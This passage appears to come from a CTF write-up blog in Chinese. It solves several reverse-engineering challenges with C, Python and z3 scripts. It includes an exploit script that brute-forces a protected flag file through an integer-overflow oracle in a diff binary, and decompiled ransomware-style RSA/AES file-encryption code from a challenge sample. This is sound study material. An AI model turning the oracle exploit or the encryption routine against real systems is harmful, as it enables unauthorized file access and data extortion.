print(hex(rand))
p.sendline(str(rand))
p.interactive()

参考资料

BUUCTF - [第五空间2019 决赛]PWN5

[rev][ACTF新生赛2020]Splendid_MineCraft

自修改代码

  1. 第一段flag验证的函数开头有个自修改,直接patch之后更改跳转地址
  2. 第二段的比较,当时傻了,每一个byte都可以找任意地址的,然后找到地址的差
  3. 第三段直接明文比较
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>

int main(){
char v7[6];
char v3[6];
v3[0] = 101;
v3[1] = 108;
v3[2] = 99;
v3[3] = 111;
v3[4] = 109;
v3[5] = 101;
v7[0] = 51;
v7[1] = 64;
v7[2] = 49;
v7[3] = 98;
v7[4] = 59;
v7[5] = 98;
char flag[1024]={0};
strcpy(flag,"ACTF{");
for(size_t i=0;i<6;i++){
flag[i+5]=(v3[i]^v7[i])+35;
}
printf("%s\n",flag);
printf("0x%x,0x%x\n",*(int32_t*)(flag+5),*(int16_t*)(flag+9));
uint8_t r=0;
for(size_t i=5;i<11;i++){
r^=flag[i];
}
flag[11]='_';
// knowo3
uint32_t a[] = {0x405100-0x405018,0x405102-0x405018,0x405102-0x405018,0x405109-0x405018,0x405100-0x405018,0x4051D3-0x405018};
for(size_t i=0;i<6;i++){
flag[12+i]=a[i]^(i+0x83);
}
// strcpy(&flag[12],"knowo3");
flag[18]='_';
strcpy(&flag[19],"5mcsM<");
flag[25]='}';
printf("%s\n",flag);
return 0;
}

参考资料

[1] buuoj[ACTF_Junior_2020]Splendid_MineCraft WriteUp

[rev][SUCTF2019]hardcpp

  1. deflat去混淆
  2. 分析函数功能
  3. v21=随机值
  4. s[0]=’#’
  5. s[v19]=enc[v19-1]
  6. v21非1即0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <inttypes.h>
#include <string.h>

uint8_t calc(uint8_t a,uint8_t b,uint32_t v21){
uint8_t v18 = v21 ^ a;
uint8_t v17 = v18;
uint8_t v16 = b;
uint8_t v3 = v16%7;
v18 = v17+v3;
uint8_t v15 = v18;

uint8_t v14 =b;
uint8_t v4 = v14^18;
uint8_t v13 = v4;
uint8_t v5 = v13*3;
uint8_t v12 = v5;
uint8_t v6 = v12+2;
v18 = v15^v6;
return v18;

}
int main(){
uint8_t a[] = {0xf3, 0x2e, 0x18, 0x36, 0xe1, 0x4c, 0x22, 0xd1, 0xf9, 0x8c, 0x40, 0x76, 0xf4, 0xe, 0x0, 0x5, 0xa3, 0x90, 0xe, 0xa5};
char flag[21]={'#',0,};
uint8_t v21=0;
for(size_t i=0;i<20;i++){

for(size_t j=0x20;j<0x7f;j++){
flag[i+1]=j;
if(calc(flag[i+1],flag[i+v21-1+1],v21)==a[i]){
flag[i+1]=j;
break;
}
}
}
printf("%s\n",flag);
return 0;
}

[rev][BJDCTF 2nd]diff2

存在整数溢出

1
2
3
4
5
6
7
for ( i = 0; buf2[i] + buf1[i] && i < 0x400; ++i )
{
v0 = buf1[i];
if ( v0 != buf2[i] )
return v3 + 1;
if ( v0 == 10 )
++v3;

这里如果buf[2]+buf[1]溢出为0,则产生误判

另外学习了scp传输文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys
import os

got=""
for i in range(43):

for j in range(0x1,0xff):
cur=got+chr(j)
os.system("echo \'"+cur+"\' > /tmp/t")
p = os.popen("/home/ctf/diff /tmp/t /home/ctf/flag");
text = p.read()
# print(text)
if not text=="1":
print(text)
got+=chr(0x100-j)
break
print(got)

[rev]

穷举一把梭

逆向算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import hashlib
import angr
import base64
from Crypto.Cipher import DES,AES
from Crypto.Util.Padding import pad
# from math import *
import struct
# from z3 import *
from gmpy2 import *
import os

flag = ''

v6 = 11
v4=0
res = [0xAF,0xAA,0xAD,0xEB,0xAE,0xAA,0xEC,0xA4,0xBA,0xAF,0xAE,0xAA,0x8A,0xC0,0xA7,0xB0,0xBC,0x9A,0xBA,0xA5,0xA5,0xBA,0xAF,0xB8,0x9D,0xB8,0xF9,0xAE,0x9D,0xAB,0xB4,0xBC,0xB6,0xB3,0x90,0x9A,0xA8]
print(len(res))
res = res[::-1]
a = []
cal = lambda x: (1<<(v4&3))+1+(x^0x1c7)
# a.append(res[0]^0xc7)
for i in range(37):
# for j in range(0x20,0x7f):
# v11 = cal(j)
# if (v11&0xFF)==res[i]:
# v4+=v11
# a.append(j)
# break
f = res[i]-(1<<(v4&3))
f = f-1
f^=0xc7
a.append(f)
v4+=cal(f)

print(a)
print(str(bytes(a),encoding='utf-8'))

[rev][GWCTF 2019]babyvm

  1. 虚拟机

  2. 操作码

    1
    0xf5, 0xf1, 0xe1, 0x0, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x20, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x1, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x21, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x2, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x22, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x3, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x23, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x4, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x24, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x5, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x25, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x6, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x26, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x7, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x27, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x8, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x28, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x9, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x29, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xa, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2a, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xb, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2b, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xc, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2c, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xd, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2d, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xe, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2e, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xf, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2f, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x10, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x30, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x11, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x31, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x12, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x32, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x13, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x33, 0x0, 0x0, 0x0, 0xf4, 0x0, 0x0, 0x0,

    然而解出来不对,真正的操作码在这里

    1
    0xf5, 0xf1, 0xe1, 0x0, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x1, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x0, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x1, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x2, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x1, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x2, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x3, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x3, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x4, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x3, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x4, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x5, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x4, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x5, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x6, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x5, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x6, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x6, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0x9, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x9, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0xa, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xd, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x13, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xd, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x13, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xe, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x12, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xe, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x12, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xf, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x11, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xf, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x11, 0x0, 0x0, 0x0, 0xf4
  3. 长度为21

  4. 开始python脚本

  5. sub_b5f为关键函数,控制哪几个数据进寄存器

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import base64
import hashlib
from z3 import *
opc = [0xf5, 0xf1, 0xe1, 0x0, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x20, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x1, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x21, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x2, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x22, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x3, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x23, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x4, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x24, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x5, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x25, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x6, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x26, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x7, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x27, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x8, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x28, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x9, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x29, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xa, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2a, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xb, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2b, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xc, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2c, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xd, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2d, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xe, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2e, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xf, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2f, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x10, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x30, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x11, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x31, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x12, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x32, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x13, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x33, 0x0, 0x0, 0x0, 0xf4, 0x0, 0x0, 0x0,]

opc =[0xf5, 0xf1, 0xe1, 0x0, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x1, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x0, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x1, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x2, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x1, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x2, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x3, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x2, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x3, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x4, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x3, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x4, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x5, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x4, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x5, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x6, 0x0, 0x0, 0x0, 0xf2, 0xf1, 0xe4, 0x5, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x6, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x6, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0x9, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x7, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x9, 0x0, 0x0, 0x0, 0xf1, 0xe3, 0xa, 0x0, 0x0, 0x0, 0xf1, 0xe5, 0xc, 0x0, 0x0, 0x0, 0xf6, 0xf7, 0xf1, 0xe4, 0x8, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xd, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x13, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xd, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x13, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xe, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x12, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xe, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x12, 0x0, 0x0, 0x0, 0xf1, 0xe1, 0xf, 0x0, 0x0, 0x0, 0xf1, 0xe2, 0x11, 0x0, 0x0, 0x0, 0xf8, 0xf1, 0xe4, 0xf, 0x0, 0x0, 0x0, 0xf1, 0xe7, 0x11, 0x0, 0x0, 0x0, 0xf4]
rip = 0
print('reg[1]=18')
while rip<len(opc):
op = opc[rip]-0x100
print('%02x:%02X:'%(rip,op),end="")
if op==-15:
# print('sub_b5f')
cas = opc[rip+1]
dst = opc[rip+2]
if cas==0xe1:
print('reg[0]=input[%d]'%dst)
elif cas==0xe2:
print('reg[1]=input[%d]'%dst)
elif cas==0xe3:
print('reg[2]=input[%d]'%dst)
elif cas==0xe4:
print('input[%d]=reg[0]'%dst)
elif cas==0xe5:
print('reg[3]=input[%d]'%dst)
elif cas==0xe7:
print('input[%d]=reg[1]'%dst)

rip+=6
elif op==-14:
print('xor reg[0],reg[1]')
rip+=1
elif op==-11:
print('checkLen')
rip+=1
elif op==-12:
print('nop')
rip+=1
elif op==-9:
print('mul reg[0],reg[3]')
rip+=1
elif op==-8:
print('swap reg[0],reg[1]')
rip+=1
elif op==-10:
print('reg[0]=reg[2]+2*reg[1]+3*reg[0]')
rip+=1
else:
print('unknown')
rip+=1

print('end')
res = 'Fz{aM{aM|}fMt~suM !!'
a = [ord(i) for i in res]
aa = [0 for i in range(len(a))]
for i in range(len(aa)):
a[i]^=18
print(bytes(a))

# a = [ord(i) for i in res]
a = [0x69, 0x45, 0x2a, 0x37, 0x9, 0x17, 0xc5, 0xb, 0x5c, 0x72, 0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5f, 0x33, 0x73, 0x72]
print(len(a))
#for i in range(len(a)):
# a[i]=a[i]^18
# print(bytes(aa))
v = [BitVec('v%d'%i,8) for i in range(20)]
s = Solver()
s.add((v[0]^v[1])==a[0])
s.add((v[1]^v[2])==a[1])
s.add((v[2]^v[3])==a[2])
s.add((v[3]^v[4])==a[3])
s.add((v[4]^v[5])==a[4])
s.add((v[5]^v[6])==a[5])
s.add(v[12]*(v[8]+2*v[7]+3*v[6])==a[6])
s.add(v[12]*(v[9]+2*v[8]+3*v[7])==a[7])
s.add(v[12]*(v[10]+2*v[9]+3*v[8])==a[8])
s.add(v[10]==a[10])
s.add(v[9]==a[9])
# s.add(v[12]*(v[11]+2*v[10]+3*v[9])==a[9])
s.add(v[16]==a[16])
s.add(v[11]==a[11])
s.add(v[13]==a[19])
s.add(v[19]==a[13])
s.add(v[14]==a[18])
s.add(v[18]==a[14])
s.add(v[15]==a[17])
s.add(v[17]==a[15])
s.add(v[12]==a[12])
# s.add(v[20]==a[20])
s.add(v[0]!=0)
flag = []
if s.check()==sat:
m = s.model()
for i in v:
flag.append(m[i].as_long())
print(m[i])
print(bytes(flag))

感觉好坑啊

[rev][GKCTF2020]WannaReverse

  1. 打开任意一个都会换壁纸

  2. IDA打开WannaReverse.exe,找到主函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    int sub_403220()
    {
    int v0; // eax
    void *v1; // ecx
    signed int v2; // esi
    char v3; // al
    const char *v4; // ecx
    char v6[32]; // [esp+8h] [ebp-34h]
    char v7; // [esp+28h] [ebp-14h]
    char v8[10]; // [esp+2Ch] [ebp-10h]

    *(_OWORD *)v6 = 0i64;
    *(_OWORD *)&v6[16] = 0i64;
    WinExec("clickme.exe", 1u);
    strcpy(v8, "0123456789");
    v0 = sub_415930(0);
    sub_40BAB0(v0);
    v2 = 0;
    do
    v6[v2++] = v8[sub_40BA70(v1) % 10];
    while ( v2 < 32 );
    v7 = 0;
    v3 = sub_402D00((int)v1, (int)v6);
    v4 = "encrypto success!";
    if ( !v3 )
    v4 = "encrypto false!";
    puts(v4);
    return 0;
    }

    首先运行clickme.exe,然后生成一个32位的随即密钥,传入sub_402D00,所以sub_402D00应该是加密函数

  3. 查看加密函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    char __fastcall sub_402D00(int a1, int a2)
    {
    FILE *FILE_read; // eax
    FILE *FILE_read_1; // esi
    int len_0; // edi
    int len; // edi
    char *buf_read; // esi
    unsigned int keyLen; // ecx
    char *buf_read_1; // edx
    char *key; // esi
    unsigned int v11; // ecx
    bool v12; // cf
    unsigned __int8 v13; // al
    unsigned __int8 v14; // al
    unsigned __int8 v15; // al
    int v16; // eax
    BigInteger *v17; // eax
    BigInteger *v18; // eax
    BigInteger *v19; // esi
    char *v20; // edx
    BigInteger *v21; // esi
    char *v22; // eax
    int v23; // esi
    int v24; // ecx
    char v25; // al
    char *v26; // ecx
    char v27; // al
    int FILE_write; // eax
    int v29; // edi
    int v30; // esi
    char *v31; // ecx
    int v32; // eax
    char v33; // cl
    int len_1; // [esp+Ch] [ebp-29Ch]
    FILE *FILE_read_2; // [esp+10h] [ebp-298h]
    char *buf_read_2; // [esp+14h] [ebp-294h]
    char v37; // [esp+18h] [ebp-290h]
    const char *arg2; // [esp+1Ch] [ebp-28Ch]
    char key_1[256]; // [esp+20h] [ebp-288h]
    int v40; // [esp+120h] [ebp-188h]
    int v41; // [esp+124h] [ebp-184h]
    int v42[7]; // [esp+128h] [ebp-180h]
    BigInteger v43; // [esp+144h] [ebp-164h]
    BigInteger v44; // [esp+160h] [ebp-148h]
    BigInteger v45; // [esp+17Ch] [ebp-12Ch]
    char toWriteFileName[256]; // [esp+198h] [ebp-110h]
    int v47; // [esp+2A4h] [ebp-4h]

    arg2 = (const char *)a2;
    v37 = 0;
    FILE_read = (FILE *)fopen("flag.txt", "rb");
    FILE_read_1 = FILE_read;
    FILE_read_2 = FILE_read;
    if ( !FILE_read )
    {
    puts("flag.txt not exist\n");
    return 0;
    }
    fseek((int)FILE_read, 0, 2);
    len_0 = ftell((int)FILE_read_1);
    len_1 = len_0;
    fseek((int)FILE_read_1, 0, 0);
    len = 16 * (len_0 / 16 + 1);
    buf_read = (char *)malloc_0(len);
    buf_read_2 = buf_read;
    memset(buf_read, 0, len);
    if ( buf_read )
    {
    fread(buf_read, 1, len_1, FILE_read_2);
    keyLen = strlen(aWannareverse);
    buf_read_1 = buf_read;
    key = aWannareverse;
    v12 = keyLen < 4;
    v11 = keyLen - 4;
    if ( v12 )
    {
    LABEL_7:
    if ( v11 == -4 )
    goto LABEL_16;
    }
    else
    {
    while ( *(_DWORD *)buf_read_1 == *(_DWORD *)key )
    {
    buf_read_1 += 4;
    key += 4;
    v12 = v11 < 4;
    v11 -= 4;
    if ( v12 )
    goto LABEL_7;
    }
    }
    v12 = (unsigned __int8)*buf_read_1 < (unsigned __int8)*key;
    if ( *buf_read_1 != *key
    || v11 != -3
    && ((v13 = buf_read_1[1], v12 = v13 < (unsigned __int8)key[1], v13 != key[1])
    || v11 != -2
    && ((v14 = buf_read_1[2], v12 = v14 < (unsigned __int8)key[2], v14 != key[2])
    || v11 != -1 && (v15 = buf_read_1[3], v12 = v15 < (unsigned __int8)key[3], v15 != key[3]))) )
    {
    v16 = -v12 | 1;
    goto LABEL_17;
    }
    LABEL_16:
    v16 = 0;
    LABEL_17:
    if ( v16 )
    {
    memset(key_1, 0, 256);
    v41 = 16;
    v40 = 0;
    getKey((int *)key_1); // initKey
    v47 = 0;
    v44.next = 0;
    v44.len = 0;
    v44.maxLen = 0;
    v17 = (BigInteger *)malloc(8);
    v44.next = v17;
    v17->next = 0;
    *(_DWORD *)v17->data = 0;
    v44.next->next = &v44;
    v44.len = 0;
    v44.maxLen = 15;
    v44.data[0] = 0;
    v47 = 1;
    append(&v44, (int)aWannareverse, 13u); // toDebug
    LOBYTE(v47) = 2;
    v45.next = 0;
    v45.len = 0;
    v45.maxLen = 0;
    v18 = (BigInteger *)malloc(8);
    v45.next = v18;
    v18->next = 0;
    *(_DWORD *)v18->data = 0;
    v45.next->next = &v45;
    v45.len = 0;
    v45.maxLen = 15;
    v45.data[0] = 0;
    LOBYTE(v47) = 3;
    initBigInteger(&v43, arg2);
    LOBYTE(v47) = 4;
    v19 = (BigInteger *)rsaEncrypt((int)v42, (int)&v43);
    if ( &v45 != v19 )
    {
    sub_403580((int *)&v45);
    LOBYTE(arg2) = 0;
    base64((char *)&v45, v19, (int)arg2);
    }
    sub_403580(v42);
    sub_4037D0(v42);
    LOBYTE(v47) = 3;
    sub_403580((int *)&v43);
    sub_4037D0((int *)&v43);
    v20 = v45.data;
    if ( v45.maxLen >= 0x10u )
    v20 = *(char **)v45.data;
    v21 = (BigInteger *)sub_4024D0(v20, v42, v45.len);
    if ( &v45 != v21 )
    {
    sub_403580((int *)&v45);
    LOBYTE(arg2) = 0;
    base64((char *)&v45, v21, (int)arg2);
    }
    LOBYTE(v47) = 3;
    sub_403580(v42);
    sub_4037D0(v42);
    v22 = v45.data;
    if ( v45.maxLen >= 0x10u )
    v22 = *(char **)v45.data;
    append(&v44, (int)v22, v45.len);
    v23 = 0;
    for ( *(_OWORD *)&v43.data[8] = 0i64; v23 < len; v23 += 16 )
    {
    aes((int)&v43.data[8], (unsigned __int8 *)&buf_read_2[v23], (int)key_1);
    append(&v44, (int)&v43.data[8], 0x10u);
    }
    memset(toWriteFileName, 0, 256); // make file name
    v24 = 0;
    do
    {
    v25 = aFlagTxt[v24++];
    *((_BYTE *)&v45.maxLen + v24 + 3) = v25;
    }
    while ( v25 );
    v26 = (char *)&v45.maxLen + 3;
    do
    v27 = (v26++)[1];
    while ( v27 );
    strcpy(v26, ".Encry");
    v37 = 0;
    FILE_write = fopen(toWriteFileName, "wb");// make file name
    v29 = FILE_write;
    if ( FILE_write )
    {
    v30 = v44.len;
    v31 = v44.data;
    if ( v44.maxLen >= 0x10u )
    LOBYTE(v31) = v44.data[0];
    v32 = fwrite((char)v31, 1, v44.len, FILE_write);
    v33 = 0;
    if ( v30 == v32 )
    v33 = 1;
    v37 = v33;
    }
    fclose(v29);
    sub_403580((int *)&v45);
    sub_4037D0((int *)&v45);
    sub_403580((int *)&v44);
    sub_4037D0((int *)&v44);
    }
    else
    {
    sub_415950(buf_read_2);
    }
    }
    fclose(FILE_read_2);
    return v37;
    }

    主要做了以下事情:

    1. 打开文件,判断文件头,如果是WannaReverse就不加密直接退出
    2. 打开一个buffer,然后放入WannaReverse
    3. 使用RSA加密上一步生成的密钥然后base64
    4. 把加密过的密钥放入buffer
    5. AES加密文件内容,然后放入buffer
    6. 生成文件名,写入文件
  4. RSA私钥在clickme.exe中可以找到

解密脚本

1
2
3
4
5
6
7
8
9
10
11
import base64
from Crypto.Cipher import AES,DES,PKCS1_v1_5
from Crypto.PublicKey import RSA
import hashlib

